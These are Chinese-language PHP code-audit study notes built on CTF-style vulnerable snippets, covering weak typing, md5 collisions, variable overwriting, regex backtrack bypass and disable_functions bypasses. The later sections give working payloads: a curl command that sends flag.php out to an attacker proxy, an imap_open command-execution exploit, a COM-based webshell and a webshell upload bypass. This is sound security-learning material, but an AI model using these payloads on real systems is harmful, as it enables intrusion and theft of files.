安全牛PHP代码审计学习笔记
0x00 弱类型相关要点及md5
$a == $b 等于TRUE,如果类型转换后$a 等于$b。
$a === $b 全等TRUE,如果$a 等于$b,并且它们的类型也相同。
如果一个数值和一个字符串比较,那么会将字符串转换为数值。
''== 0 == false
'123' == 123
'abc' == 0
'123a' == 123
0x01 == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == ['']
NULL == false == 0
true == 1
MD5案例1
<?php
ini_set("display error", false);
error_reporting(0);
if($_POST['param1']!=$_POST['param2']&&md5($_POST['param1'])==md5($_POST['param2']))
{
die("success");
}
else
{
echo "fail";
}
在PHP中,利用”!=”或”==”来对哈希值进行比较时,PHP会把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。参考:https://blog.csdn.net/nzjdsds/article/details/90085112
MD5案例2
<?php
ini_set("display error", false);
error_reporting(0);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
{
die("success");
}
else
{
echo "fail";
}
通过函数返回,返回不是md5,例如数组:param1[]=1¶m2[]=2
MD5案例3
<?php
ini_set("display error", false);
error_reporting(0);
if((string)$_POST['param1']!==(string)$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
{
die("success");
}
else
{
echo "fail";
}
md5强碰撞
通过python脚本解码
|
|
sha相关案例
<?php
ini_set("display error", false);
error_reporting(0);
$flag = "flag";
if(isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not br yout name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password'])
die('Flag:' .$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo "<p>Login first!</p>";
与 MD5案例2 类似
Md5与SQL注入的融合
<?php
error_reporting(0);
$link = mysql_connect('localhost','root','root');
if(!$link){
die('Could not connect to MySQL: '.mysql_error());
}
$db = mysql_select_db("test", $link);
if(!$db)
{
echo 'select db error';
exit();
}
$password = $_GET['password'];
$sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";
$result=mysql_query($sql) or die('<pre>'. mysql_error().'</pre>');
$rowl= mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
md5为true 时,返回 16 字符长度的原始二进制格式的摘要。例如:echo md5(‘ffifdyop’,true);
0x01 弱类型相关函数
JSON相关问题
<?php
highlight_file(__FIlE__);
include "flag. php";
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
if($message->key == $key) {
echo $flag;
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>
json_decode对 JSON 格式的字符串进行解码,构造message={“key”:0}。
SWITCH相关问题
如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。
<?php
highlight_file(__FIlE__);
$i = "3name";
switch ($i){
case 0:
case 1:
case 2:
echo "this is two";
break;
case 3:
echo "flag";
break;
}
?>
执行的结果是flag
。
STRCMP相关问题
strcmp(string $str1, string $str2)
,二进制安全字符串比较,如果 str1
小于 str2
返回 < 0; 如果 str1
大于 str2
返回 > 0;如果两者相等,返回 0。比较过程应该是转化成ASCII后逐字节进行比较,然后根据运算结果来决定返回值。
strcmp(‘a’,1)–>48, strcmp(‘1cc’,‘1ca’)–>2。
<?php
highlight_file(__FIlE__);
include "flag.php";
if(isset($_POST['password'])){
if (strcmp($_POST['password'], $password)==0){
echo "Right!!! login success";
echo $flag;
exit();
} else {
echo "Wrong password..";
}
}
?>
构造函数返回值为NULL,弱类型与0相等。
IN_ARRAY相关问题
in_array
,检查数组中是否存在某个值,in_array(mixed$needle
, array $haystack
, bool $strict
= false
): bool。大海捞针,在大海(haystack
)中搜索针( needle
),如果没有设置 strict
则使用宽松的比较。如果第三个参数 strict
的值为 true
则 in_array() 函数还会检查 needle
的类型是否和 haystack
中的相同。
<?php
highlight_file(__FIlE__);
$array = [0,1,2,'3'];
var_dump(in_array('abc', $array));
var_dump(in_array('1bc', $array));
var_dump(in_array(3, $array));
结果会是bool(true),bool(true),bool(true)。
ARRAY_SEARCH相关问题
array_search
,在数组中搜索给定的值,如果成功则返回首个相应的键名,与上面的类似。
<?php
highlight_file(__FIlE__);
$array = [0,1,2,'3'];
var_dump(array_search('abc', $array));
var_dump(array_search('1bc', $array));
var_dump(array_search(3, $array));
var_dump(array_search('3', $array));
结果为int(0),int(1),int(3),int(3)。
此函数可能返回布尔值 false,但也可能返回等同于 false 的非布尔值。
<?php
#highlight_file(__FIlE__);
include "flag.php"
if(!is_array($_GET['test'])){exit();}
$test = $_GET['test'];
for($ i= 0; $i<count($test); $i++){
if($test[$i] === "admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
if(array_search("admin", $test)===0){
echo $flag;
}
else{
echo "false";
}
传入test[]=0,即可获得flag。
strpos相关问题
strpos
,查找字符串首次出现的位置
如果逻辑中出现用strpos来做判断,那就有可能带来安全问题。
0x02 变量覆盖问题
Extract()
extract
,从数组中将变量导入到当前的符号表。
范例
<?php
/* 假定 $var_array 是 wddx_deserialize 返回的数组*/
$size = "large";
$var_array = array("color" => "blue",
"size" => "medium",
"shape" => "sphere");
extract($var_array, EXTR_PREFIX_SAME, "wddx");
echo "$color, $size, $shape, $wddx_size\n";
?>
EXTR_PREFIX_SAME
如果有冲突,在变量名前加上前缀。输出结果为:blue, large, sphere, medium。
<?php
highlight_file(__FIlE__);
include "flag.php"
extract($_GET);
if(isset($gift)){
$content = trim(file_get_contents($flag));
if($gift == $content){
echo $trueflag;
}
else{
echo 'Oh..';
}
}
?>
构造gift=&flag=,得到flag。
$$
遍历初始化变量,由于php中可以使用$$声明变量,因此当在遍历数组时可能会覆盖原来的值。
<?php
highlight_file(__FIlE__);
$a = "helloworld";
echo "$a";
echo "<br>";
foreach ($_GET as $key => $value) {
$$key=$value;
}
echo "$a";
?>
如果构造a=123,就会输出helloworld,123。
<?php
highlight_file(__FIlE__);
include "flag.php"
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
{die("BugsBunnyCTF is here :p...");}
if ( !isset($_POST["flag"]))
{die($_403);}
foreach ($_GET as $key => $value) {
$$key=$$value;
}
foreach ($_POST as $key => $value) {
$$key=$value;
}
if ( $_POST["flag"]!==$flag)
{die($_403);}
echo "This is your flag :".$flag."\n";
die($_200);
?>
这里用POST随便传一个flag=111,GET传_200=flag,通过die($_200)得到flag。
parse_str()
parse_str
, 将字符串解析成多个变量。
范例
<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
// 推荐用法
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz
// 不建议这么用
parse_str($str);
echo $first; // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>
<?php
include "flag.php"
if (empty($_GET['id']))
{
show_source(__FILE__);
die();
}
else
{
include ('flag.php');
$a = 'www.OPENCT.com';
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
{
echo $flag;
}
else
{
exit('其实很简单其实并不难!');
}
}
?>
构造id=a[0]=s878926199a,得到flag。
由于 PHP 的变量名不能带「点」和「空格」,所以它们会被转化成下划线。
0x03 空白符问题
|
|
intval()成功时返回var 的integer 值,失败时返回0。空的array 返回0,非空的array 返回1。
最大的值取决于操作系统。32 位系统最大带符号的integer 范围是-2147483648 到2147483647。64 位系统上,最大带符号的integer 值是9223372036854775807。
浮点数的精度
is_numeric
如果不指定第二个参数,trim() 将去除这些字符:
" " (ASCII 32 (0x20)),普通空格符。
"\t" (ASCII 9 (0x09)),制表符。
"\n" (ASCII 10 (0x0A)),换行符。
"\r" (ASCII 13 (0x0D)),回车符。
"\0" (ASCII 0 (0x00)),空字节符。
"\x0B" (ASCII 11 (0x0B)),垂直制表符。
解法参考https://www.cnblogs.com/mkdd/p/13023618.html。
0x04 伪随机数问题
mt_srand
,播下一个更好的随机数发生器种子。如果我们自己指定范围,如果过小则很容易被爆破出来的,因此大多实际应用中都是不指定范围,mt_rand()函数默认范围是0到mt_getrandmax()之间的伪随机数。
同时相同的种子生成的随机数是相同的,所以可以通过逆推mt_rand的种子来获得同页面的另一个rand的值。
工具:php_mt_seed
0x05 其他函数问题
运算符
<?php
include "flag.php"
$a = 'test';
$b = 'test2';
$a = $_GET['a'];
$b = $_GET['b'];
$c = is_numeric($a) and is_numeric($b);
if ($c){
if (is_numeric($a)){
if (is_numeric($b)){
echo "is_numeric(b)";
}else{
echo $flag;
}
}else{
echo 'is_numeric(a) error';
}
}
else{
print "is_numeric(a) and is_numeric(b) error!";
}
?>
所以$c = is_numeric($a) and is_numeric($b);
实际上是<span class="has-inline-color has-vivid-red-color">(</span>$c = is_numeric($a)<span class="has-inline-color has-vivid-red-color">)</span> and is_numeric($b);
parse_url
parse_url
,解析 URL,返回其组成部分。本函数不是用来验证给定 URL 的合法性的,只是将其分解为下面列出的部分。不完整的 URL 也被接受,parse_url() 会尝试尽量正确地将其解析。parse_url() 是专门用来解析 URL 而不是 URI 的。不过为遵从 PHP 向后兼容的需要有个例外,对 file:// 协议允许三个斜线(file:///…)。其它任何协议都不能这样。
范例
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
输出结果
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path
如果指定了component 参数,parse_url() 返回一个string (或在指定为PHP_URL_PORT 时返回一个integer)而不是array。如果URL 中指定的组成部分不存在,将会返回NULL。http:///会被返回false。
<?php
include "config.php";
$number1 = rand(1,100000000000000);
$number2 = rand(1,100000000000);
$number3 = rand(1,100000000);
$url = urldecode($SERVER['REQUEST_URI']);
$url = parse_url($url, PHP_URL_QUERY);
if (preg_match("/_/i", $url))
{
die("...");
}
if (preg_match("/0/i", $url))
{
die("...");
}
if (preg_match("/\w+/i", $url))
{
die("...");
}
if(isset($GET['_']) && !empty($GET['_']))
{
$control = $GET['_'];
if(!in_array($control, array(0,$number1)))
{
die("fail1");
}
if(!in_array($control, array(0,$number2)))
{
die("fail2");
}
if(!in_array($control, array(0,$number3)))
{
die("fail3");
}
echo $flag;
}
show_source(__FILE__);
?>
可以构造///php/prase_url/ prase_url.php?_=a
或者 ///php/prase_url/ prase_url.php?.=a
escapeshellarg 和 escapeshellcmd
escapeshellarg
, 把字符串转码为可以在 shell 命令里使用的参数。escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。
escapeshellcmd
,shell 元字符转义。escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
<?php
print_r(escapeshellcmd("who 'ami"));
print_r(escapeshellarg("who 'ami"));
print_r(escapeshellcmd("who''ami"));
print_r(escapeshellarg("who''ami"));
?>
对应的结果如下:
who \'ami
'who '\''ami'
who''ami
'who'\'''\''ami'
主要区别在于,对于单个单引号, escapeshellarg 函数转义后,会在字符串开始和结尾各加一个单引号,还会在被转义的单引号的左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符,对于成对的单引号, escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义。
例题如下,分析参考https://blog.csdn.net/weixin_43999372/article/details/86631794
|
|
在 curl 中存在 -F 提交表单的方法,也可以提交文件。 -F <key=value> 向服务器POST表单,例如: curl -F “web=@index.html;type=text/html” url.com 。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了。目的构造的payload如下:
|
|
但需要用到escapeshellarg和escapeshellcmd来完成参数逃逸,最后构造的payload为:
|
|
实际传入的为:
‘http://www.baidu.com/’\\’’ -F file=@/var/www/html/flag.php -x vpsip:9999\’
0x06 正则匹配相关问题
例题代码
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
在https://regexper.com/输入/<\?.<em>[(`;?>].</em>/i
,可以在线生成可视化的图像,方便分析。
正则表达式的贪婪与非贪婪模式
String str=“abcaxc”;
Patter p=“ab.*c”;
贪婪匹配:正则表达式一般趋向于最大长度匹配,也就是所谓的贪婪匹配。如上面使用模式p匹配字符串str,结果就是匹配到:abcaxc(ab.*c)。
非贪婪匹配:就是匹配到结果就好,就少的匹配字符。如上面使用模式p匹配字符串str,结果就是匹配到:abc(ab.*c)。
量词:
{m,n}:m到n个
*:任意多个
+:一个到多个
?:0或一个
源字符串: aaab 正则: .*?b
匹配过程开始的时候, “.*?”首先取得匹配控制权, 因为是非贪婪模式, 所以优先不匹配, 将匹配控制交给下一个匹配字符”b”, “b”在源字符串位置1匹配失败(“a”), 于是回溯, 将匹配控制交回给”.*?”, 这个时候, “.*?”匹配一个字符”a”,并再次将控制权交给”b”, 如此反复, 最终得到匹配结果, 这个过程中一共发生了3次回溯。
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。
当超过回溯次数上限后,函数返回值会变成false而不是0或者1。可以利用这个漏洞绕过正则匹配,上传一句话木马。
<?php
$a = '<?php phpinfo();//'.str_repeat('a', 9999996);
file_put_contents('exp.php', $a);
?>
0x07 Disable_function绕过
黑名单绕过
phpinfo的disable_functions显示禁用的函数,不在列表之中,例如system exec shell_exec等被禁用了,但是可以用assert等代替。或者scandir等用其他函数实现需要的功能。
扩展使用
windows下COM(系统组件)
<?php
$command = $_GET['a'];
$wsh = new COM('WScript.shell');//生成一个COM对象 Shell.Application也可
$exec = $wsh->exec("cmd /c".$command);//调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadALL();
echo $stroutput;
?>
pcntl 扩展
pcntl_exec
,在当前进程空间执行指定程序。
imap_open()
imap_open
,Open an IMAP stream to a mailbox,公开的exp如下:
<?php
$payload = "echo fsfasaf|tee /tmp/2.txt";
$encoded = base64_encode($payload);
$mailbox = "any -o ProxyCommand=echo\t".$encoded."|base64\t-d|bash";
@imap_open('{'.$mailbox.'}:143/imap}INBOX', '', '');
?>
还有ImageMagic等,其实就是一些不在列表之中,但是又能执行命令的函数。
LD_PRELOAD
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
a.c gcc a.c -o a
gcc -fPIC -shared b.c -o b.so,然后export LD_PRELOAD="./b.so"
strace -f php mail.php 2>&1 | grep -A2 -B2 execve
readelf -Ws /usr/sbin/sendmail
0x08 找源码、扫描、FUZZ
右键源代码
代码压缩包泄漏
.git源码
https://github.com/lijiejie/GitHack
.DS_Store泄漏
https://github.com/lijiejie/ds_store_exp
SVN代码泄漏
https://github.com/kost/dvcs-ripper
敏感信息--Robots.txt
备份文件--Index.php.bak,Index.php.swp
dirsearch、御剑等等
FUZZ例题
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
bp的intruder模块设置action=$%00$var_dump测试,%5c
时通过。